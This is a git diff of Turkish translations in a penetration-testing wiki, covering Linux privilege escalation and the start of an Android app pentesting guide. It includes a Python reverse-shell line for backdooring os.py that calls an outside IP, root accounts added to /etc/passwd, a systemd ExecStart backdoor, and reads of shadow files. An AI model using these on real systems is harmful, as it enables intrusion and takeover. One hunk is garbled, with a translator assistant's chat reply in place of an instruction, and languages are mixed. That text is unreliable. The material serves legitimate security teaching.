`AllowAgentForwarding` anahtar kelimesi ile ssh-agent forwarding'e izin verebilir veya engelleyebilir (varsayılan izinlidir). -If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: +Eğer bir ortamda Forward Agent yapılandırıldığını görürseniz aşağıdaki sayfayı okuyun, çünkü **bunu kötüye kullanarak yetki yükseltebilirsiniz**: {{#ref}} @@ -1210,61 +1211,67 @@ ssh-forward-agent-exploitation.md ### Profil dosyaları -The file `/etc/profile` and the files under `/etc/profile.d/` are **kullanıcı yeni bir shell başlattığında çalıştırılan script'lerdir**. Therefore, if you can **write or modify any of them you can escalate privileges**. +Dosya `/etc/profile` ve `/etc/profile.d/` altındaki dosyalar, bir kullanıcı yeni bir shell çalıştırdığında yürütülen **scripts**'lerdir. Bu nedenle, bunlardan herhangiğini **yazabiliyor veya değiştirebiliyorsanız yetki yükseltebilirsiniz**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Herhangi tuhaf bir profile script bulunursa, onu **hassas bilgiler** için kontrol etmelisiniz. +Herhangi bir tuhaf profile script bulunursa, onu **hassas bilgiler** açısından kontrol etmelisiniz. ### Passwd/Shadow Dosyaları -İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir adla bulunabilir veya bir yedeği olabilir. Bu yüzden **tümünü bulmanız** ve dosyaların içinde **hash** olup olmadığını görmek için **okuyup okuyamadığınızı kontrol etmeniz** önerilir: +İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir isimle kullanılıyor olabilir veya bir yedeği bulunabilir. Bu nedenle **tümünü bulun** ve dosyaları **okuyup okuyamadığınızı kontrol edin**; dosyaların içinde **hashes** olup olmadığını görmek için: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Bazı durumlarda `/etc/passwd` (veya eşdeğer) dosyasında **password hashes** bulunabilir. +Bazı durumlarda `/etc/passwd` (veya eşdeğer) dosyasında **password hashes** bulabilirsiniz. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### Yazılabilir /etc/passwd -Önce, aşağıdaki komutlardan biriyle bir parola oluşturun. +İlk olarak, aşağıdaki komutlardan biriyle bir parola oluşturun. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Ardından `hacker` kullanıcısını ekleyin ve oluşturulan şifreyi ekleyin. +Çeviri yapabilmem için lütfen src/linux-hardening/privilege-escalation/README.md dosyasının içeriğini gönderir misiniz? + +Ayrıca netleştirmek istiyorum: +- Bu dosyaya “hacker” kullanıcısını eklememi ve oluşturulmuş şifreyi dosyaya eklememi mi istiyorsunuz, yoksa sistemde gerçekten bir kullanıcı oluşturmamı mı bekliyorsunuz? (Ben sistemde değişiklik yapamam — sadece dosya içeriğini düzenleyebilirim.) +- Şifreyi benim oluşturup dosyaya eklememi ister misiniz? Eğer evet ise, kaç karakterlik ve hangi karakter tiplerini (büyük/küçük harf, rakam, sembol) tercih edersiniz? Varsayılan olarak güçlü, 16 karakterlik rastgele bir şifre oluşturabilirim. + +İçeriği gönderin ve tercihlerinizi onaylayın; çeviriyi ve istenen eklemeyi yapıp geri döneceğim. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Örneğin: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Örn: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Artık `su` komutunu `hacker:hacker` ile kullanabilirsiniz -Alternatif olarak, parola olmadan bir sahte kullanıcı eklemek için aşağıdaki satırları kullanabilirsiniz.\ -UYARI: bu, makinenin mevcut güvenliğini düşürebilir. +Alternatif olarak, parola olmadan sahte bir kullanıcı eklemek için aşağıdaki satırları kullanabilirsiniz.\ +UYARI: bu, makinenin mevcut güvenliğini zayıflatabilir. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOT: BSD platformlarında `/etc/passwd` `/etc/pwd.db` ve `/etc/master.passwd` konumlarında bulunur, ayrıca `/etc/shadow` `/etc/spwd.db` olarak yeniden adlandırılmıştır. +NOT: BSD platformlarında `/etc/passwd` `/etc/pwd.db` ve `/etc/master.passwd` konumunda bulunur; ayrıca `/etc/shadow` `/etc/spwd.db` olarak yeniden adlandırılmıştır. -Bazı hassas dosyalara **yazıp yazamayacağınızı** kontrol etmelisiniz. Örneğin, bir **servis yapılandırma dosyasına** yazabiliyor musunuz? +Bazı hassas dosyalara **yazıp yazamayacağınızı** kontrol etmelisiniz. Örneğin, bazı **servis yapılandırma dosyalarına** yazabiliyor musunuz? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Örneğin, eğer makine bir **tomcat** server çalıştırıyor ve **Tomcat servis yapılandırma dosyasını /etc/systemd/ içinde değiştirebiliyorsanız,** o zaman şu satırları değiştirebilirsiniz: +Örneğin, makine bir **tomcat** sunucusu çalıştırıyorsa ve **modify the Tomcat service configuration file inside /etc/systemd/,** yapabiliyorsanız, o zaman şu satırları değiştirebilirsiniz: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Backdoor'unuz tomcat bir sonraki başlatıldığında çalıştırılacaktır. +Backdoor'unuz, tomcat bir sonraki başlatıldığında çalıştırılacaktır. ### Klasörleri Kontrol Et @@ -1272,7 +1279,7 @@ Aşağıdaki klasörler yedekler veya ilginç bilgiler içerebilir: **/tmp**, ** ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Garip Konum/Owned dosyalar +### Tuhaf Konum/Owned dosyalar ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1289,7 +1296,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Son birkaç dakikada değiştirilen dosyalar +### Son dakikalarda değiştirilen dosyalar ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1317,26 +1324,26 @@ ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` -### **Yedeklemeler** +### **Yedekler** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Parola içerebilecek bilinen dosyalar +### Parolalar içeren bilinen dosyalar -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)'in kodunu inceleyin; **parola içerebilecek birkaç muhtemel dosya** arar.\ -**Kullanabileceğiniz başka ilginç bir araç** şudur: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — Windows, Linux & Mac için yerel bir bilgisayarda saklanan birçok parolayı almak amacıyla kullanılan açık kaynaklı bir uygulamadır. +Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **birçok olası dosyayı** that could contain passwords.\ +**Bunu yapmak için kullanabileceğiniz başka bir ilginç araç**: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac. -### Loglar +### Günlükler -Logları okuyabiliyorsanız, içinde **ilginç/gizli bilgiler** bulabilirsiniz. Log ne kadar garipse, muhtemelen o kadar ilginç olur.\ -Ayrıca, bazı "**kötü**" yapılandırılmış (backdoored?) **audit logs**, audit loglara parolaları **kaydetmenize** olanak tanıyabilir; bunun nasıl yapıldığını bu yazıda görebilirsiniz: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +If you can read logs, you may be able to find **içlerinde ilginç/gizli bilgiler**. The more strange the log is, the more interesting it will be (probably).\ +Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **audit log'lara parolaları kaydetme** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Günlükleri **okumak için grup** [**adm**](interesting-groups-linux-pe/index.html#adm-group) çok yardımcı olacaktır. +Logları okumak için **logları okumaya yetkili grup** [**adm**](interesting-groups-linux-pe/index.html#adm-group) gerçekten faydalı olacaktır. -### Shell dosyaları +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1349,59 +1356,59 @@ Günlükleri **okumak için grup** [**adm**](interesting-groups-linux-pe/index.h ``` ### Generic Creds Search/Regex -Ayrıca dosya adında veya içeriğinde "**password**" kelimesini içeren dosyaları kontrol etmelisiniz, ve ayrıca loglar içinde IPs ve emails veya hashes regexps arayın.\ -Burada tüm bunların nasıl yapılacağını listelemeyeceğim; ilgileniyorsanız [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından yapılan son kontrolleri inceleyebilirsiniz. +Ayrıca dosya adı veya içeriğinde "**password**" kelimesi geçen dosyaları; loglar içindeki IPs ve emails ile hash regex'lerini de kontrol etmelisiniz.\ +Ben burada bunların hepsinin nasıl yapılacağını listelemeyeceğim ama ilgileniyorsanız [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) son kontrollerine bakabilirsiniz. ## Yazılabilir dosyalar ### Python library hijacking -Eğer bir python scriptinin nereden çalıştırılacağını biliyorsanız ve o klasöre yazabiliyorsanız ya da python libraries üzerinde değişiklik yapabiliyorsanız, OS library'yi değiştirip backdoorlayabilirsiniz (python scriptinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın). +Eğer bir python scriptinin **nereden** çalıştırılacağını biliyor ve o klasöre **yazabiliyorsanız** ya da **python kütüphanelerini değiştirebiliyorsanız**, OS kütüphanesini değiştirip backdoorlayabilirsiniz (eğer python scriptinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın). To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate istismarı +### Logrotate exploitation -A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. +`logrotate`'daki bir zafiyet, bir log dosyası veya onun üst dizinlerinde **yazma izinleri** olan kullanıcıların potansiyel olarak ayrıcalık yükseltmesine izin verir. Bunun nedeni `logrotate`'in çoğunlukla **root** olarak çalışması ve özellikle _**/etc/bash_completion.d/**_ gibi dizinlerde rastgele dosyaların çalıştırılacak şekilde manipüle edilebilmesidir. İzinleri sadece _/var/log_ içinde değil, log rotasyonu uygulanan herhangi bir dizinde de kontrol etmek önemlidir. > [!TIP] -> Bu zafiyet `logrotate` sürüm `3.18.0` ve önceki sürümleri etkiler +> Bu zafiyet `logrotate` sürümü `3.18.0` ve daha eski sürümleri etkiler -More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Bu zafiyetle ilgili daha ayrıntılı bilgi şu sayfada bulunabilir: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). +Bu zafiyeti [**logrotten**](https://github.com/whotwagner/logrotten) ile sömürebilirsiniz. -This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. +Bu zafiyet [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** ile çok benzerdir; bu nedenle günlükleri değiştirebildiğinizi gördüğünüzde, bu günlükleri kimin yönettiğini kontrol edin ve günlükleri symlinks ile değiştirerek ayrıcalıkları yükseltebilme imkânınız olup olmadığını kontrol edin. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Zafiyet referansı:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Herhangi bir nedenle bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine `ifcf-` adlı bir script **yazabiliyor** ya da mevcut bir scripti **düzenleyebiliyorsa**, sisteminiz **pwned** olur. +Eğer herhangi bir nedenle bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine bir `ifcf-` scripti **yazabilirse** **veya** mevcut bir scripti **düzenleyebilirse**, sisteminiz **is pwned** demektir. -Network scriptleri, _ifcg-eth0_ örneğin, ağ bağlantıları için kullanılır. Tam olarak .INI dosyalarına benzerler. Ancak Linux'ta Network Manager (dispatcher.d) tarafından \~sourced\~ edilirler. +Network script'leri, örneğin _ifcg-eth0_, ağ bağlantıları için kullanılır. Tamamen .INI dosyalarına benzer görünürler. Ancak, Linux'ta Network Manager (dispatcher.d) tarafından ~sourced~ edilirler. -Benim durumumda, bu network scriptlerinde `NAME=` özniteliği doğru işlenmiyor. Eğer isimde **boşluk varsa sistem boşluktan sonraki kısmı çalıştırmaya çalışıyor**. Bu, **ilk boşluktan sonraki her şeyin root olarak çalıştırıldığı** anlamına geliyor. +Benim durumumda, bu network script'lerinde tanımlı `NAME=` doğru şekilde işlenmiyordu. İsimde **white/blank space** varsa **sistem boşluktan sonraki kısmı çalıştırmaya çalışır**. Bu da **ilk boşluktan sonraki her şey root olarak çalıştırılır** anlamına gelir. -Örneğin: _/etc/sysconfig/network-scripts/ifcfg-1337_ +For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Network ile /bin/id arasındaki boşluğa dikkat edin_) +(_Not: Network ile /bin/id arasında boşluk olduğuna dikkat_) -### **init, init.d, systemd, ve rc.d** +### **init, init.d, systemd ve rc.d** -The directory `/etc/init.d` is home to **betikler** for System V init (SysVinit), the **klasik Linux servis yönetim sistemi**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`. +Dizin `/etc/init.d`, System V init (SysVinit) için **scripts** barındırır; bu, **klasik Linux servis yönetim sistemi**'dir. Bu dizin `start`, `stop`, `restart` ve bazen `reload` servislerini başlatan scriptleri içerir. Bu scriptler doğrudan veya `/etc/rc?.d/` içinde bulunan sembolik linkler aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif yol `/etc/rc.d/init.d`'dir. -On the other hand, `/etc/init` is associated with **Upstart**, a newer **servis yönetimi** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart. +Öte yandan, `/etc/init` **Upstart** ile ilişkilidir — Ubuntu tarafından getirilen daha yeni bir **service management** yaklaşımı olup servis yönetimi görevleri için yapılandırma dosyaları kullanır. Upstart'e geçişe rağmen, Upstart içindeki uyumluluk katmanı nedeniyle SysVinit scriptleri Upstart yapılandırmalarıyla birlikte hâlâ kullanılır. -**systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process. +**systemd**, talep üzerine daemon başlatma, automount yönetimi ve sistem durumu snapshot'ları gibi gelişmiş özellikler sunan modern bir init ve servis yöneticisidir. Dosyaları dağıtım paketleri için `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` altında organize ederek sistem yönetimini kolaylaştırır. -## Diğer Taktikler +## Other Tricks ### NFS Privilege escalation @@ -1426,25 +1433,24 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Daha fazla bilgi ve istismar detayları için: - +Android rooting framework'leri genellikle bir syscall'i hook'layarak ayrıcalıklı kernel fonksiyonlarını userspace bir manager'a açar. Zayıf manager kimlik doğrulaması (ör. FD-order'a dayalı signature kontrolleri veya zayıf parola şemaları) yerel bir uygulamanın manager'ı taklit etmesine ve zaten-rootlu cihazlarda root'a yükselmesine olanak tanıyabilir. Ayrıntılar ve exploitation bilgileri için bakınız: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Çekirdek Güvenlik Koruması +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Daha fazla yardım +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Linux local privilege escalation vektörlerini aramak için en iyi araç:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1457,7 +1463,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## Referanslar +## References - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index ee7441205..58b4a4a0a 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -4,7 +4,7 @@ ## Android Uygulamaları Temelleri -It's highly recommended to start reading this page to know about the **most important parts related to Android security and the most dangerous components in an Android application**: +Bu sayfayı okumaya başlamanız şiddetle tavsiye edilir; **Android güvenliği ile ilgili en önemli parçalar ve bir Android uygulamasındaki en tehlikeli bileşenler** hakkında bilgi edinmek için: {{#ref}} @@ -13,23 +13,23 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -Bu, emüle edilmiş veya fiziksel bir android cihaza bağlanmak için ihtiyaç duyduğunuz ana araçtır.\ -**ADB**, bir bilgisayardan cihazları ya **USB** ya da **Network** üzerinden kontrol etmeye olanak sağlar. Bu yardımcı araç, dosyaların her iki yönde de **kopyalanmasını**, uygulamaların **yüklenmesini** ve **kaldırılmasını**, shell komutlarının **çalıştırılmasını**, verilerin **yedeklenmesini**, logların **okunmasını** ve diğer işlevleri mümkün kılar. +Bu, bir android cihaza (emüle edilmiş veya fiziksel) bağlanmak için ihtiyaç duyduğunuz ana araçtır.\ +**ADB**, bilgisayardan **USB** veya **Network** üzerinden cihazları kontrol etmeye olanak tanır. Bu yardımcı program, dosyaların her iki yönde **kopyalanması**, uygulamaların **yüklenmesi** ve **kaldırılması**, shell komutlarının **çalıştırılması**, verilerin **yedeklenmesi**, logların **okunması** gibi işlevleri sağlar. -Take a look to the following list of [**ADB Commands**](adb-commands.md) to learn how to use adb. +ADB'nin nasıl kullanılacağını öğrenmek için aşağıdaki [**ADB Commands**](adb-commands.md) listesine göz atın. ## Smali -Bazen uygulama kodunu **değiştirip** gizli bilgilere (ör. iyi şekilde obfuskated edilmiş parolalar veya flag'ler) erişmek ilginç olabilir. Bu durumda apk'yı decompile edip, kodu değiştirip tekrar derlemek ilginç olabilir.\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Bu, dinamik analiz sırasında yapılacak çeşitli testler için çok faydalı bir alternatif olabilir. Bu olasılığı her zaman aklınızda bulundurun. +Bazen gizli bilgilere erişmek (ör. iyi obfuskelenmiş parolalar veya flags) için uygulama kodunu **değiştirmek** ilginç olabilir. Bu durumda, apk'yi decompile edip, kodu değiştirip tekrar derlemek ilginç olabilir.\ +[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Bu, yapılacak dinamik analiz sırasında gerçekleştirilecek birkaç test için çok kullanışlı bir **alternatif** olabilir. Bu olasılığı her zaman aklınızda bulundurun. -## Diğer ilginç hileler +## Other interesting tricks - [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) -- **APK İndirme**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - Cihazdan APK çıkarma: ```bash adb shell pm list packages @@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -- Tüm split ve base APK'ları [APKEditor](https://github.com/REAndroid/APKEditor) ile birleştirin: +- Tüm split'leri ve base apk'ları [APKEditor](https://github.com/REAndroid/APKEditor) ile birleştir: ```bash mkdir splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits @@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` -## Vaka Çalışmaları & Zayıflıklar +## Vaka İncelemeleri ve Güvenlik Açıkları {{#ref}} @@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## Statik Analiz -Öncelikle, bir APK'yı analiz etmek için bir decompiler kullanarak **Java koduna göz atmalısınız**.\ -Please, [**read here to find information about different available decompilers**](apk-decompilers.md). +Her şeyden önce bir APK'yı analiz etmek için bir decompiler kullanarak **Java koduna bakmalısınız**.\ +Lütfen, [**farklı mevcut decompiler'lar hakkında bilgi almak için burayı okuyun**](apk-decompilers.md). ### İlginç Bilgiler Arama -Sadece APK'nin **strings**'ine bakarak **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** ve ilginç diğer her şeyi arayabilirsiniz... hatta kod yürütme **backdoors** veya authentication backdoors (hardcoded admin credentials to the app) için bakın. +Sadece APK'nın **strings**'ine bakarak **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod çalıştırma için **backdoors** veya kimlik doğrulama backdoor'ları (uygulamaya gömülü admin kimlik bilgileri) arayın. **Firebase** -Özellikle **firebase URLs**'e dikkat edin ve yanlış yapılandırılmış olup olmadığını kontrol edin. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +**firebase URLs**'e özellikle dikkat edin ve kötü yapılandırılmış olup olmadığını kontrol edin. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) -### Uygulamayı Temel Olarak Anlama - Manifest.xml, strings.xml +### Uygulamanın Temel Anlaşılması - Manifest.xml, strings.xml -Bir uygulamanın _Manifest.xml_ ve **_strings.xml_** dosyalarının incelenmesi potansiyel güvenlik zayıflıklarını ortaya çıkarabilir. Bu dosyalara decompiler kullanarak veya APK dosya uzantısını .zip olarak değiştirip açarak erişilebilir. +Bir uygulamanın _Manifest.xml_ ve _strings.xml_ dosyalarının **incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir**. Bu dosyalara decompiler'lar kullanılarak veya APK dosyasının uzantısını .zip yapıp açarak erişilebilir. -Manifest.xml'den tespit edilebilecek zayıflıklar şunlardır: +**Manifest.xml** dosyasından tespit edilebilecek **güvenlik açıkları** şunlardır: -- **Hata Ayıklamaya Açık Uygulamalar**: _Manifest.xml_ dosyasında `debuggable="true"` olarak ayarlanmış uygulamalar risk taşır çünkü bağlantılara izin vererek istismara yol açabilir. Debuggable uygulamaların cihazda bulunup istismar edilmesi hakkında daha fazla bilgi için bir eğitim kaynağına bakın. -- **Backup Ayarları**: Hassas bilgi işleyen uygulamalar için `android:allowBackup="false"` özniteliğinin açıkça ayarlanması gerekir; aksi halde usb debugging etkin iken adb üzerinden yetkisiz veri yedeklemelerine izin verilebilir. -- **Network Security**: _res/xml/_ içindeki özel network security konfigürasyonları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin belirli domainler için HTTP trafiğine izin verilmesi gibi. -- **Exported Activities and Services**: Manifest içindeki exported aktiviteler ve servislerin tespit edilmesi, kötüye kullanılabilecek bileşenleri ortaya çıkarabilir. Dinamik testler sırasında bu bileşenlerin nasıl istismar edilebileceği daha detaylı analizle anlaşılabilir. -- **Content Providers ve FileProviders**: Açığa çıkan content provider'lar yetkisiz erişim veya veri değiştirmeye izin verebilir. FileProviders yapılandırması da dikkatle incelenmelidir. -- **Broadcast Receivers ve URL Schemes**: Bu bileşenler giriş zafiyetleri açısından kullanılabilir; özellikle URL şemalarının nasıl yönetildiğine dikkat edilmelidir. -- **SDK Versiyonları**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` öznitelikleri desteklenen Android versiyonlarını gösterir; güvenlik açısından eski ve zafiyetli Android sürümlerini desteklememenin önemi burada ortaya çıkar. +- **Debuggable Applications**: _Manifest.xml_ dosyasında `debuggable="true"` olarak ayarlanmış uygulamalar risklidir çünkü istismara yol açabilecek bağlantılara izin verirler. Hata ayıklanabilir uygulamaların nasıl bulunup istismar edileceğini öğrenmek için ilgili eğitime bakın. +- **Backup Settings**: Hassas bilgilerle uğraşan uygulamalar için `android:allowBackup="false"` özniteliği açıkça ayarlanmalıdır; özellikle usb debugging etkinse adb üzerinden yetkisiz veri yedeklemelerini önlemek için. +- **Network Security**: _res/xml/_ içindeki özel network security konfigürasyonları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik ayrıntılarını belirtebilir. Örneğin belirli domain'ler için HTTP trafiğine izin verme. +- **Exported Activities and Services**: Manifest'te dışa açık (exported) activity ve service'lerin tespit edilmesi, kötüye kullanılabilecek bileşenleri ortaya çıkarabilir. Dinamik testler sırasında daha fazla analiz, bu bileşenlerin nasıl istismar edilebileceğini gösterebilir. +- **Content Providers and FileProviders**: Açıkta bırakılmış content provider'lar yetkisiz erişime veya veri değişikliğine 